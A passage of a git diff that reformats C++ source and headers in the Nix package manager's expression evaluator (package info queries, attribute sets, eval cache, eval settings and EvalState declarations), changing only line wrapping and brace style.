name; } - std::string PackageInfo::querySystem() const { if (system == "" && attrs) { auto i = attrs->find(state->sSystem); - system = i == attrs->end() ? "unknown" : state->forceStringNoCtx(*i->value, i->pos, "while evaluating the 'system' attribute of a derivation"); + system = + i == attrs->end() + ? "unknown" + : state->forceStringNoCtx(*i->value, i->pos, "while evaluating the 'system' attribute of a derivation"); } return system; } - std::optional PackageInfo::queryDrvPath() const { if (!drvPath && attrs) { if (auto i = attrs->get(state->sDrvPath)) { NixStringContext context; - auto found = state->coerceToStorePath(i->pos, *i->value, context, "while evaluating the 'drvPath' attribute of a derivation"); + auto found = state->coerceToStorePath( + i->pos, *i->value, context, "while evaluating the 'drvPath' attribute of a derivation"); try { found.requireDerivation(); } catch (Error & e) { @@ -85,7 +85,6 @@ std::optional PackageInfo::queryDrvPath() const return drvPath.value_or(std::nullopt); } - StorePath PackageInfo::requireDrvPath() const { if (auto drvPath = queryDrvPath()) @@ -93,21 +92,20 @@ StorePath PackageInfo::requireDrvPath() const throw Error("derivation does not contain a 'drvPath' attribute"); } - StorePath PackageInfo::queryOutPath() const { if (!outPath && attrs) { auto i = attrs->find(state->sOutPath); NixStringContext context; if (i != attrs->end()) - outPath = state->coerceToStorePath(i->pos, *i->value, context, "while evaluating the output path of a derivation"); + outPath = state->coerceToStorePath( + i->pos, *i->value, context, "while evaluating the output path of a derivation"); } if (!outPath) throw UnimplementedError("CA derivations are not yet supported"); return *outPath; } - PackageInfo::Outputs PackageInfo::queryOutputs(bool withPaths, bool onlyOutputsToInstall) { if (outputs.empty()) { @@ -118,19 +116,25 @@ PackageInfo::Outputs PackageInfo::queryOutputs(bool withPaths, bool onlyOutputsT /* For each output... */ for (auto elem : i->value->listItems()) { - std::string output(state->forceStringNoCtx(*elem, i->pos, "while evaluating the name of an output of a derivation")); + std::string output( + state->forceStringNoCtx(*elem, i->pos, "while evaluating the name of an output of a derivation")); if (withPaths) { /* Evaluate the corresponding set. */ auto out = attrs->get(state->symbols.create(output)); - if (!out) continue; // FIXME: throw error? + if (!out) + continue; // FIXME: throw error? state->forceAttrs(*out->value, i->pos, "while evaluating an output of a derivation"); /* And evaluate its ‘outPath’ attribute. */ auto outPath = out->value->attrs()->get(state->sOutPath); - if (!outPath) continue; // FIXME: throw error? + if (!outPath) + continue; // FIXME: throw error? NixStringContext context; - outputs.emplace(output, state->coerceToStorePath(outPath->pos, *outPath->value, context, "while evaluating an output path of a derivation")); + outputs.emplace( + output, + state->coerceToStorePath( + outPath->pos, *outPath->value, context, "while evaluating an output path of a derivation")); } else outputs.emplace(output, std::nullopt); } @@ -142,7 +146,8 @@ PackageInfo::Outputs PackageInfo::queryOutputs(bool withPaths, bool onlyOutputsT return outputs; const Attr * i; - if (attrs && (i = attrs->get(state->sOutputSpecified)) && state->forceBool(*i->value, i->pos, "while evaluating the 'outputSpecified' attribute of a derivation")) { + if (attrs && (i = attrs->get(state->sOutputSpecified)) + && state->forceBool(*i->value, i->pos, "while evaluating the 'outputSpecified' attribute of a derivation")) { Outputs result; auto out = outputs.find(queryOutputName()); if (out == outputs.end()) @@ -154,95 +159,103 @@ PackageInfo::Outputs PackageInfo::queryOutputs(bool withPaths, bool onlyOutputsT else { /* Check for `meta.outputsToInstall` and return `outputs` reduced to that. */ const Value * outTI = queryMeta("outputsToInstall"); - if (!outTI) return outputs; + if (!outTI) + return outputs; auto errMsg = Error("this derivation has bad 'meta.outputsToInstall'"); - /* ^ this shows during `nix-env -i` right under the bad derivation */ - if (!outTI->isList()) throw errMsg; + /* ^ this shows during `nix-env -i` right under the bad derivation */ + if (!outTI->isList()) + throw errMsg; Outputs result; for (auto elem : outTI->listItems()) { - if (elem->type() != nString) throw errMsg; + if (elem->type() != nString) + throw errMsg; auto out = outputs.find(elem->c_str()); - if (out == outputs.end()) throw errMsg; + if (out == outputs.end()) + throw errMsg; result.insert(*out); } return result; } } - std::string PackageInfo::queryOutputName() const { if (outputName == "" && attrs) { auto i = attrs->get(state->sOutputName); - outputName = i ? state->forceStringNoCtx(*i->value, noPos, "while evaluating the output name of a derivation") : ""; + outputName = + i ? state->forceStringNoCtx(*i->value, noPos, "while evaluating the output name of a derivation") : ""; } return outputName; } - const Bindings * PackageInfo::getMeta() { - if (meta) return meta; - if (!attrs) return 0; + if (meta) + return meta; + if (!attrs) + return 0; auto a = attrs->get(state->sMeta); - if (!a) return 0; + if (!a) + return 0; state->forceAttrs(*a->value, a->pos, "while evaluating the 'meta' attribute of a derivation"); meta = a->value->attrs(); return meta; } - StringSet PackageInfo::queryMetaNames() { StringSet res; - if (!getMeta()) return res; + if (!getMeta()) + return res; for (auto & i : *meta) res.emplace(state->symbols[i.name]); return res; } - bool PackageInfo::checkMeta(Value & v) { state->forceValue(v, v.determinePos(noPos)); if (v.type() == nList) { for (auto elem : v.listItems()) - if (!checkMeta(*elem)) return false; + if (!checkMeta(*elem)) + return false; return true; - } - else if (v.type() == nAttrs) { - if (v.attrs()->get(state->sOutPath)) return false; + } else if (v.type() == nAttrs) { + if (v.attrs()->get(state->sOutPath)) + return false; for (auto & i : *v.attrs()) - if (!checkMeta(*i.value)) return false; + if (!checkMeta(*i.value)) + return false; return true; - } - else return v.type() == nInt || v.type() == nBool || v.type() == nString || - v.type() == nFloat; + } else + return v.type() == nInt || v.type() == nBool || v.type() == nString || v.type() == nFloat; } - Value * PackageInfo::queryMeta(const std::string & name) { - if (!getMeta()) return 0; + if (!getMeta()) + return 0; auto a = meta->get(state->symbols.create(name)); - if (!a || !checkMeta(*a->value)) return 0; + if (!a || !checkMeta(*a->value)) + return 0; return a->value; } - std::string PackageInfo::queryMetaString(const std::string & name) { Value * v = queryMeta(name); - if (!v || v->type() != nString) return ""; + if (!v || v->type() != nString) + return ""; return v->c_str(); } - NixInt PackageInfo::queryMetaInt(const std::string & name, NixInt def) { Value * v = queryMeta(name); - if (!v) return def; - if (v->type() == nInt) return v->integer(); + if (!v) + return def; + if (v->type() == nInt) + return v->integer(); if (v->type() == nString) { /* Backwards compatibility with before we had support for integer meta fields. */ @@ -255,8 +268,10 @@ NixInt PackageInfo::queryMetaInt(const std::string & name, NixInt def) NixFloat PackageInfo::queryMetaFloat(const std::string & name, NixFloat def) { Value * v = queryMeta(name); - if (!v) return def; - if (v->type() == nFloat) return v->fpoint(); + if (!v) + return def; + if (v->type() == nFloat) + return v->fpoint(); if (v->type() == nString) { /* Backwards compatibility with before we had support for float meta fields. */ @@ -266,22 +281,24 @@ NixFloat PackageInfo::queryMetaFloat(const std::string & name, NixFloat def) return def; } - bool PackageInfo::queryMetaBool(const std::string & name, bool def) { Value * v = queryMeta(name); - if (!v) return def; - if (v->type() == nBool) return v->boolean(); + if (!v) + return def; + if (v->type() == nBool) + return v->boolean(); if (v->type() == nString) { /* Backwards compatibility with before we had support for Boolean meta fields. */ - if (v->string_view() == "true") return true; - if (v->string_view() == "false") return false; + if (v->string_view() == "true") + return true; + if (v->string_view() == "false") + return false; } return def; } - void PackageInfo::setMeta(const std::string & name, Value * v) { getMeta(); @@ -291,30 +308,35 @@ void PackageInfo::setMeta(const std::string & name, Value * v) for (auto i : *meta) if (i.name != sym) attrs.insert(i); - if (v) attrs.insert(sym, v); + if (v) + attrs.insert(sym, v); meta = attrs.finish(); } - /* Cache for already considered attrsets. */ typedef std::set Done; - /* Evaluate value `v'. If it evaluates to a set of type `derivation', then put information about it in `drvs' (unless it's already in `done'). The result boolean indicates whether it makes sense for the caller to recursively search for derivations in `v'. */ -static bool getDerivation(EvalState & state, Value & v, - const std::string & attrPath, PackageInfos & drvs, Done & done, +static bool getDerivation( + EvalState & state, + Value & v, + const std::string & attrPath, + PackageInfos & drvs, + Done & done, bool ignoreAssertionFailures) { try { state.forceValue(v, v.determinePos(noPos)); - if (!state.isDerivation(v)) return true; + if (!state.isDerivation(v)) + return true; /* Remove spurious duplicates (e.g., a set like `rec { x = derivation {...}; y = x;}'. */ - if (!done.insert(v.attrs()).second) return false; + if (!done.insert(v.attrs()).second) + return false; PackageInfo drv(state, attrPath, v.attrs()); @@ -325,42 +347,44 @@ static bool getDerivation(EvalState & state, Value & v, return false; } catch (AssertionError & e) { - if (ignoreAssertionFailures) return false; + if (ignoreAssertionFailures) + return false; throw; } } - -std::optional getDerivation(EvalState & state, Value & v, - bool ignoreAssertionFailures) +std::optional getDerivation(EvalState & state, Value & v, bool ignoreAssertionFailures) { Done done; PackageInfos drvs; getDerivation(state, v, "", drvs, done, ignoreAssertionFailures); - if (drvs.size() != 1) return {}; + if (drvs.size() != 1) + return {}; return std::move(drvs.front()); } - static std::string addToPath(const std::string & s1, std::string_view s2) { return s1.empty() ? std::string(s2) : s1 + "." + s2; } - static std::regex attrRegex("[A-Za-z_][A-Za-z0-9-_+]*"); - -static void getDerivations(EvalState & state, Value & vIn, - const std::string & pathPrefix, Bindings & autoArgs, - PackageInfos & drvs, Done & done, +static void getDerivations( + EvalState & state, + Value & vIn, + const std::string & pathPrefix, + Bindings & autoArgs, + PackageInfos & drvs, + Done & done, bool ignoreAssertionFailures) { Value v; state.autoCallFunction(autoArgs, vIn, v); /* Process the expression. */ - if (!getDerivation(state, v, pathPrefix, drvs, done, ignoreAssertionFailures)) ; + if (!getDerivation(state, v, pathPrefix, drvs, done, ignoreAssertionFailures)) + ; else if (v.type() == nAttrs) { @@ -388,8 +412,11 @@ static void getDerivations(EvalState & state, Value & vIn, `recurseForDerivations = true' attribute. */ if (i->value->type() == nAttrs) { auto j = i->value->attrs()->get(state.sRecurseForDerivations); - if (j && state.forceBool(*j->value, j->pos, "while evaluating the attribute `recurseForDerivations`")) - getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures); + if (j + && state.forceBool( + *j->value, j->pos, "while evaluating the attribute `recurseForDerivations`")) + getDerivations( + state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures); } } } catch (Error & e) { @@ -411,13 +438,16 @@ static void getDerivations(EvalState & state, Value & vIn, state.error("expression does not evaluate to a derivation (or a set or list of those)").debugThrow(); } - -void getDerivations(EvalState & state, Value & v, const std::string & pathPrefix, - Bindings & autoArgs, PackageInfos & drvs, bool ignoreAssertionFailures) +void getDerivations( + EvalState & state, + Value & v, + const std::string & pathPrefix, + Bindings & autoArgs, + PackageInfos & drvs, + bool ignoreAssertionFailures) { Done done; getDerivations(state, v, pathPrefix, autoArgs, drvs, done, ignoreAssertionFailures); } - } diff --git a/src/libexpr/include/nix/expr/attr-path.hh b/src/libexpr/include/nix/expr/attr-path.hh index 66a3f4e00..dc14d6c44 100644 --- a/src/libexpr/include/nix/expr/attr-path.hh +++ b/src/libexpr/include/nix/expr/attr-path.hh @@ -11,11 +11,8 @@ namespace nix { MakeError(AttrPathNotFound, Error); MakeError(NoPositionInfo, Error); -std::pair findAlongAttrPath( - EvalState & state, - const std::string & attrPath, - Bindings & autoArgs, - Value & vIn); +std::pair +findAlongAttrPath(EvalState & state, const std::string & attrPath, Bindings & autoArgs, Value & vIn); /** * Heuristic to find the filename and lineno or a nix value. diff --git a/src/libexpr/include/nix/expr/attr-set.hh b/src/libexpr/include/nix/expr/attr-set.hh index 283786f4d..4fce5d313 100644 --- a/src/libexpr/include/nix/expr/attr-set.hh +++ b/src/libexpr/include/nix/expr/attr-set.hh @@ -8,7 +8,6 @@ namespace nix { - class EvalState; struct Value; @@ -25,15 +24,18 @@ struct Attr PosIdx pos; Value * value; Attr(Symbol name, Value * value, PosIdx pos = noPos) - : name(name), pos(pos), value(value) { }; - Attr() { }; - auto operator <=> (const Attr & a) const + : name(name) + , pos(pos) + , value(value) {}; + Attr() {}; + auto operator<=>(const Attr & a) const { return name <=> a.name; } }; -static_assert(sizeof(Attr) == 2 * sizeof(uint32_t) + sizeof(Value *), +static_assert( + sizeof(Attr) == 2 * sizeof(uint32_t) + sizeof(Value *), "performance of the evaluator is highly sensitive to the size of Attr. " "avoid introducing any padding into Attr if at all possible, and do not " "introduce new fields that need not be present for almost every instance."); @@ -54,13 +56,23 @@ private: size_t size_, capacity_; Attr attrs[0]; - Bindings(size_t capacity) : size_(0), capacity_(capacity) { } + Bindings(size_t capacity) + : size_(0) + , capacity_(capacity) + { + } Bindings(const Bindings & bindings) = delete; public: - size_t size() const { return size_; } + size_t size() const + { + return size_; + } - bool empty() const { return !size_; } + bool empty() const + { + return !size_; + } typedef Attr * iterator; @@ -76,7 +88,8 @@ public: { Attr key(name, 0); const_iterator i = std::lower_bound(begin(), end(), key); - if (i != end() && i->name == name) return i; + if (i != end() && i->name == name) + return i; return end(); } @@ -84,15 +97,28 @@ public: { Attr key(name, 0); const_iterator i = std::lower_bound(begin(), end(), key); - if (i != end() && i->name == name) return &*i; + if (i != end() && i->name == name) + return &*i; return nullptr; } - iterator begin() { return &attrs[0]; } - iterator end() { return &attrs[size_]; } + iterator begin() + { + return &attrs[0]; + } + iterator end() + { + return &attrs[size_]; + } - const_iterator begin() const { return &attrs[0]; } - const_iterator end() const { return &attrs[size_]; } + const_iterator begin() const + { + return &attrs[0]; + } + const_iterator end() const + { + return &attrs[size_]; + } Attr & operator[](size_t pos) { @@ -106,7 +132,10 @@ public: void sort(); - size_t capacity() const { return capacity_; } + size_t capacity() const + { + return capacity_; + } /** * Returns the attributes in lexicographically sorted order. @@ -143,8 +172,10 @@ public: EvalState & state; BindingsBuilder(EvalState & state, Bindings * bindings) - : bindings(bindings), state(state) - { } + : bindings(bindings) + , state(state) + { + } void insert(Symbol name, Value * value, PosIdx pos = noPos) { diff --git a/src/libexpr/include/nix/expr/eval-cache.hh b/src/libexpr/include/nix/expr/eval-cache.hh index 31873f7a3..46e4cd47a 100644 --- a/src/libexpr/include/nix/expr/eval-cache.hh +++ b/src/libexpr/include/nix/expr/eval-cache.hh @@ -43,10 +43,7 @@ class EvalCache : public std::enable_shared_from_this public: - EvalCache( - std::optional> useCache, - EvalState & state, - RootLoader rootLoader); + EvalCache(std::optional> useCache, EvalState & state, RootLoader rootLoader); ref getRoot(); }; @@ -63,11 +60,18 @@ enum AttrType { Int = 8, }; -struct placeholder_t {}; -struct missing_t {}; -struct misc_t {}; -struct failed_t {}; -struct int_t { NixInt x; }; +struct placeholder_t +{}; +struct missing_t +{}; +struct misc_t +{}; +struct failed_t +{}; +struct int_t +{ + NixInt x; +}; typedef uint64_t AttrId; typedef std::pair AttrKey; typedef std::pair string_t; @@ -81,8 +85,8 @@ typedef std::variant< failed_t, bool, int_t, - std::vector - > AttrValue; + std::vector> + AttrValue; class AttrCursor : public std::enable_shared_from_this { diff --git a/src/libexpr/include/nix/expr/eval-inline.hh b/src/libexpr/include/nix/expr/eval-inline.hh index 6e5759c0b..a6c065d0b 100644 --- a/src/libexpr/include/nix/expr/eval-inline.hh +++ b/src/libexpr/include/nix/expr/eval-inline.hh @@ -23,11 +23,11 @@ inline void * allocBytes(size_t n) #else p = calloc(n, 1); #endif - if (!p) throw std::bad_alloc(); + if (!p) + throw std::bad_alloc(); return p; } - [[gnu::always_inline]] Value * EvalState::allocValue() { @@ -38,7 +38,8 @@ Value * EvalState::allocValue() have to explicitly clear the first word of every object we take. */ if (!*valueAllocCache) { *valueAllocCache = GC_malloc_many(sizeof(Value)); - if (!*valueAllocCache) throw std::bad_alloc(); + if (!*valueAllocCache) + throw std::bad_alloc(); } /* GC_NEXT is a convenience macro for accessing the first word of an object. @@ -54,7 +55,6 @@ Value * EvalState::allocValue() return (Value *) p; } - [[gnu::always_inline]] Env & EvalState::allocEnv(size_t size) { @@ -68,7 +68,8 @@ Env & EvalState::allocEnv(size_t size) /* see allocValue for explanations. */ if (!*env1AllocCache) { *env1AllocCache = GC_malloc_many(sizeof(Env) + sizeof(Value *)); - if (!*env1AllocCache) throw std::bad_alloc(); + if (!*env1AllocCache) + throw std::bad_alloc(); } void * p = *env1AllocCache; @@ -84,7 +85,6 @@ Env & EvalState::allocEnv(size_t size) return *env; } - [[gnu::always_inline]] void EvalState::forceValue(Value & v, const PosIdx pos) { @@ -94,7 +94,7 @@ void EvalState::forceValue(Value & v, const PosIdx pos) Expr * expr = v.payload.thunk.expr; try { v.mkBlackhole(); - //checkInterrupt(); + // checkInterrupt(); if (env) [[likely]] expr->eval(*this, *env, v); else @@ -104,50 +104,43 @@ void EvalState::forceValue(Value & v, const PosIdx pos) tryFixupBlackHolePos(v, pos); throw; } - } - else if (v.isApp()) + } else if (v.isApp()) callFunction(*v.payload.app.left, *v.payload.app.right, v, pos); } - [[gnu::always_inline]] inline void EvalState::forceAttrs(Value & v, const PosIdx pos, std::string_view errorCtx) { forceAttrs(v, [&]() { return pos; }, errorCtx); } - -template +template [[gnu::always_inline]] inline void EvalState::forceAttrs(Value & v, Callable getPos, std::string_view errorCtx) { PosIdx pos = getPos(); forceValue(v, pos); if (v.type() != nAttrs) { - error( - "expected a set but found %1%: %2%", - showType(v), - ValuePrinter(*this, v, errorPrintOptions) - ).withTrace(pos, errorCtx).debugThrow(); + error("expected a set but found %1%: %2%", showType(v), ValuePrinter(*this, v, errorPrintOptions)) + .withTrace(pos, errorCtx) + .debugThrow(); } } - [[gnu::always_inline]] inline void EvalState::forceList(Value & v, const PosIdx pos, std::string_view errorCtx) { forceValue(v, pos); if (!v.isList()) { - error( - "expected a list but found %1%: %2%", - showType(v), - ValuePrinter(*this, v, errorPrintOptions) - ).withTrace(pos, errorCtx).debugThrow(); + error("expected a list but found %1%: %2%", showType(v), ValuePrinter(*this, v, errorPrintOptions)) + .withTrace(pos, errorCtx) + .debugThrow(); } } [[gnu::always_inline]] -inline CallDepth EvalState::addCallDepth(const PosIdx pos) { +inline CallDepth EvalState::addCallDepth(const PosIdx pos) +{ if (callDepth > settings.maxCallDepth) error("stack overflow; max-call-depth exceeded").atPos(pos).debugThrow(); diff --git a/src/libexpr/include/nix/expr/eval-settings.hh b/src/libexpr/include/nix/expr/eval-settings.hh index 8d3db59b3..8fea132d6 100644 --- a/src/libexpr/include/nix/expr/eval-settings.hh +++ b/src/libexpr/include/nix/expr/eval-settings.hh @@ -73,7 +73,9 @@ struct EvalSettings : Config )"}; Setting nixPath{ - this, {}, "nix-path", + this, + {}, + "nix-path", R"( List of search paths to use for [lookup path](@docroot@/language/constructs/lookup-path.md) resolution. This setting determines the value of @@ -106,10 +108,14 @@ struct EvalSettings : Config > If [restricted evaluation](@docroot@/command-ref/conf-file.md#conf-restrict-eval) is enabled, the default value is empty. > > If [pure evaluation](#conf-pure-eval) is enabled, `builtins.nixPath` *always* evaluates to the empty list `[ ]`. - )", {}, false}; + )", + {}, + false}; Setting currentSystem{ - this, "", "eval-system", + this, + "", + "eval-system", R"( This option defines [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem) @@ -129,7 +135,9 @@ struct EvalSettings : Config const std::string & getCurrentSystem() const; Setting restrictEval{ - this, false, "restrict-eval", + this, + false, + "restrict-eval", R"( If set to `true`, the Nix evaluator will not allow access to any files outside of @@ -138,7 +146,10 @@ struct EvalSettings : Config [`allowed-uris`](@docroot@/command-ref/conf-file.md#conf-allowed-uris). )"}; - Setting pureEval{this, false, "pure-eval", + Setting pureEval{ + this, + false, + "pure-eval", R"( Pure evaluation mode ensures that the result of Nix expressions is fully determined by explicitly declared inputs, and not influenced by external state: @@ -148,11 +159,12 @@ struct EvalSettings : Config - [`builtins.currentTime`](@docroot@/language/builtins.md#builtins-currentTime) - [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath) - [`builtins.storePath`](@docroot@/language/builtins.md#builtins-storePath) - )" - }; + )"}; Setting enableImportFromDerivation{ - this, true, "allow-import-from-derivation", + this, + true, + "allow-import-from-derivation", R"( By default, Nix allows [Import from Derivation](@docroot@/language/import-from-derivation.md). @@ -162,7 +174,10 @@ struct EvalSettings : Config regardless of the state of the store. )"}; - Setting allowedUris{this, {}, "allowed-uris", + Setting allowedUris{ + this, + {}, + "allowed-uris", R"( A list of URI prefixes to which access is allowed in restricted evaluation mode. For example, when set to @@ -175,7 +190,10 @@ struct EvalSettings : Config - or the prefix is a URI scheme ended by a colon `:` and the URI has the same scheme. )"}; - Setting traceFunctionCalls{this, false, "trace-function-calls", + Setting traceFunctionCalls{ + this, + false, + "trace-function-calls", R"( If set to `true`, the Nix evaluator will trace every function call. Nix will print a log message at the "vomit" level for every function @@ -193,26 +211,38 @@ struct EvalSettings : Config `flamegraph.pl`. )"}; - Setting useEvalCache{this, true, "eval-cache", + Setting useEvalCache{ + this, + true, + "eval-cache", R"( Whether to use the flake evaluation cache. Certain commands won't have to evaluate when invoked for the second time with a particular version of a flake. Intermediate results are not cached. )"}; - Setting ignoreExceptionsDuringTry{this, false, "ignore-try", + Setting ignoreExceptionsDuringTry{ + this, + false, + "ignore-try", R"( If set to true, ignore exceptions inside 'tryEval' calls when evaluating nix expressions in debug mode (using the --debugger flag). By default the debugger will pause on all exceptions. )"}; - Setting traceVerbose{this, false, "trace-verbose", + Setting traceVerbose{ + this, + false, + "trace-verbose", "Whether `builtins.traceVerbose` should trace its first argument when evaluated."}; - Setting maxCallDepth{this, 10000, "max-call-depth", - "The maximum function call depth to allow before erroring."}; + Setting maxCallDepth{ + this, 10000, "max-call-depth", "The maximum function call depth to allow before erroring."}; - Setting builtinsTraceDebugger{this, false, "debugger-on-trace", + Setting builtinsTraceDebugger{ + this, + false, + "debugger-on-trace", R"( If set to true and the `--debugger` flag is given, the following functions will enter the debugger like [`builtins.break`](@docroot@/language/builtins.md#builtins-break). @@ -225,7 +255,10 @@ struct EvalSettings : Config This is useful for debugging warnings in third-party Nix code. )"}; - Setting builtinsDebuggerOnWarn{this, false, "debugger-on-warn", + Setting builtinsDebuggerOnWarn{ + this, + false, + "debugger-on-warn", R"( If set to true and the `--debugger` flag is given, [`builtins.warn`](@docroot@/language/builtins.md#builtins-warn) will enter the debugger like [`builtins.break`](@docroot@/language/builtins.md#builtins-break). @@ -235,7 +268,10 @@ struct EvalSettings : Config Use [`debugger-on-trace`](#conf-debugger-on-trace) to also enter the debugger on legacy warnings that are logged with [`builtins.trace`](@docroot@/language/builtins.md#builtins-trace). )"}; - Setting builtinsAbortOnWarn{this, false, "abort-on-warn", + Setting builtinsAbortOnWarn{ + this, + false, + "abort-on-warn", R"( If set to true, [`builtins.warn`](@docroot@/language/builtins.md#builtins-warn) will throw an error when logging a warning. diff --git a/src/libexpr/include/nix/expr/eval.hh b/src/libexpr/include/nix/expr/eval.hh index 61da225fc..7386de207 100644 --- a/src/libexpr/include/nix/expr/eval.hh +++ b/src/libexpr/include/nix/expr/eval.hh @@ -33,7 +33,9 @@ namespace nix { constexpr size_t maxPrimOpArity = 8; class Store; -namespace fetchers { struct Settings; } +namespace fetchers { +struct Settings; +} struct EvalSettings; class EvalState; class StorePath; @@ -41,28 +43,32 @@ struct SingleDerivedPath; enum RepairFlag : bool; struct MemorySourceAccessor; namespace eval_cache { - class EvalCache; +class EvalCache; } /** * Increments a count on construction and decrements on destruction. */ -class CallDepth { - size_t & count; +class CallDepth +{ + size_t & count; public: - CallDepth(size_t & count) : count(count) { - ++count; - } - ~CallDepth() { - --count; - } + CallDepth(size_t & count) + : count(count) + { + ++count; + } + ~CallDepth() + { + --count; + } }; /** * Function that implements a primop. */ -using PrimOpFun = void(EvalState & state, const PosIdx pos, Value * * args, Value & v); +using PrimOpFun = void(EvalState & state, const PosIdx pos, Value ** args, Value & v); /** * Info about a primitive operation, and its implementation @@ -147,7 +153,9 @@ struct Constant bool impureOnly = false; }; -typedef std::map, traceable_allocator > > ValMap; +typedef std:: + map, traceable_allocator>> + ValMap; typedef std::unordered_map DocCommentMap; @@ -157,23 +165,25 @@ struct Env Value * values[0]; }; -void printEnvBindings(const EvalState &es, const Expr & expr, const Env & env); +void printEnvBindings(const EvalState & es, const Expr & expr, const Env & env); void printEnvBindings(const SymbolTable & st, const StaticEnv & se, const Env & env, int lvl = 0); std::unique_ptr mapStaticEnvBindings(const SymbolTable & st, const StaticEnv & se, const Env & env); -void copyContext(const Value & v, NixStringContext & context, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); - +void copyContext( + const Value & v, + NixStringContext & context, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); std::string printValue(EvalState & state, Value & v); -std::ostream & operator << (std::ostream & os, const ValueType t); - +std::ostream & operator<<(std::ostream & os, const ValueType t); struct RegexCache; std::shared_ptr makeRegexCache(); -struct DebugTrace { +struct DebugTrace +{ /* WARNING: Converting PosIdx -> Pos should be done with extra care. This is due to the fact that operator[] of PosTable is incredibly expensive. */ std::variant pos; @@ -206,19 +216,11 @@ public: SymbolTable symbols; PosTable positions; - const Symbol sWith, sOutPath, sDrvPath, sType, sMeta, sName, sValue, - sSystem, sOverrides, sOutputs, sOutputName, sIgnoreNulls, - sFile, sLine, sColumn, sFunctor, sToString, - sRight, sWrong, sStructuredAttrs, - sAllowedReferences, sAllowedRequisites, sDisallowedReferences, sDisallowedRequisites, - sMaxSize, sMaxClosureSize, - sBuilder, sArgs, - sContentAddressed, sImpure, - sOutputHash, sOutputHashAlgo, sOutputHashMode, - sRecurseForDerivations, - sDescription, sSelf, sEpsilon, sStartSet, sOperator, sKey, sPath, - sPrefix, - sOutputSpecified; + const Symbol sWith, sOutPath, sDrvPath, sType, sMeta, sName, sValue, sSystem, sOverrides, sOutputs, sOutputName, + sIgnoreNulls, sFile, sLine, sColumn, sFunctor, sToString, sRight, sWrong, sStructuredAttrs, sAllowedReferences, + sAllowedRequisites, sDisallowedReferences, sDisallowedRequisites, sMaxSize, sMaxClosureSize, sBuilder, sArgs, + sContentAddressed, sImpure, sOutputHash, sOutputHashAlgo, sOutputHashMode, sRecurseForDerivations, sDescription, + sSelf, sEpsilon, sStartSet, sOperator, sKey, sPath, sPrefix, sOutputSpecified; const Expr::AstSymbols exprSymbols; @@ -303,19 +305,20 @@ public: /** * Debugger */ - ReplExitStatus (* debugRepl)(ref es, const ValMap & extraEnv); + ReplExitStatus (*debugRepl)(ref es, const ValMap & extraEnv); bool debugStop; bool inDebugger = false; int trylevel; std::list debugTraces; - std::map> exprEnvs; + std::map> exprEnvs; const std::shared_ptr getStaticEnv(const Expr & expr) const { auto i = exprEnvs.find(&expr); if (i != exprEnvs.end()) return i->second; else - return std::shared_ptr();; + return std::shared_ptr(); + ; } /** Whether a debug repl can be started. If `false`, `runDebugRepl(error)` will return without starting a repl. */ @@ -334,7 +337,8 @@ public: template [[nodiscard, gnu::noinline]] - EvalErrorBuilder & error(const Args & ... args) { + EvalErrorBuilder & error(const Args &... args) + { // `EvalErrorBuilder::debugThrow` performs the corresponding `delete`. return *new EvalErrorBuilder(*this, args...); } @@ -353,13 +357,25 @@ private: /** * A cache from path names to parse trees. */ - typedef std::unordered_map, std::equal_to, traceable_allocator>> FileParseCache; + typedef std::unordered_map< + SourcePath, + Expr *, + std::hash, + std::equal_to, + traceable_allocator>> + FileParseCache; FileParseCache fileParseCache; /** * A cache from path names to values. */ - typedef std::unordered_map, std::equal_to, traceable_allocator>> FileEvalCache; + typedef std::unordered_map< + SourcePath, + Value, + std::hash, + std::equal_to, + traceable_allocator>> + FileEvalCache; FileEvalCache fileEvalCache; /** @@ -399,7 +415,10 @@ public: std::shared_ptr buildStore = nullptr); ~EvalState(); - LookupPath getLookupPath() { return lookupPath; } + LookupPath getLookupPath() + { + return lookupPath; + } /** * Return a `SourcePath` that refers to `path` in the root @@ -480,9 +499,7 @@ public: * * If it is not found, return `std::nullopt`. */ - std::optional resolveLookupPathPath( - const LookupPath::Path & elem, - bool initAccessControl = false); + std::optional resolveLookupPathPath(const LookupPath::Path & elem, bool initAccessControl = false); /** * Evaluate an expression to normal form @@ -524,7 +541,7 @@ public: void forceAttrs(Value & v, const PosIdx pos, std::string_view errorCtx); - template + template inline void forceAttrs(Value & v, Callable getPos, std::string_view errorCtx); inline void forceList(Value & v, const PosIdx pos, std::string_view errorCtx); @@ -533,15 +550,20 @@ public: */ void forceFunction(Value & v, const PosIdx pos, std::string_view errorCtx); std::string_view forceString(Value & v, const PosIdx pos, std::string_view errorCtx); - std::string_view forceString(Value & v, NixStringContext & context, const PosIdx pos, std::string_view errorCtx, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + std::string_view forceString( + Value & v, + NixStringContext & context, + const PosIdx pos, + std::string_view errorCtx, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); std::string_view forceStringNoCtx(Value & v, const PosIdx pos, std::string_view errorCtx); template [[gnu::noinline]] - void addErrorTrace(Error & e, const Args & ... formatArgs) const; + void addErrorTrace(Error & e, const Args &... formatArgs) const; template [[gnu::noinline]] - void addErrorTrace(Error & e, const PosIdx pos, const Args & ... formatArgs) const; + void addErrorTrace(Error & e, const PosIdx pos, const Args &... formatArgs) const; public: /** @@ -550,8 +572,8 @@ public: */ bool isDerivation(Value & v); - std::optional tryAttrsToString(const PosIdx pos, Value & v, - NixStringContext & context, bool coerceMore = false, bool copyToStore = true); + std::optional tryAttrsToString( + const PosIdx pos, Value & v, NixStringContext & context, bool coerceMore = false, bool copyToStore = true); /** * String coercion. @@ -561,9 +583,13 @@ public: * booleans and lists to a string. If `copyToStore` is set, * referenced paths are copied to the Nix store as a side effect. */ - BackedStringView coerceToString(const PosIdx pos, Value & v, NixStringContext & context, + BackedStringView coerceToString( + const PosIdx pos, + Value & v, + NixStringContext & context, std::string_view errorCtx, - bool coerceMore = false, bool copyToStore = true, + bool coerceMore = false, + bool copyToStore = true, bool canonicalizePath = true); StorePath copyPathToStore(NixStringContext & context, const SourcePath & path); @@ -585,7 +611,11 @@ public: /** * Part of `coerceToSingleDerivedPath()` without any store IO which is exposed for unit testing only. */ - std::pair coerceToSingleDerivedPathUnchecked(const PosIdx pos, Value & v, 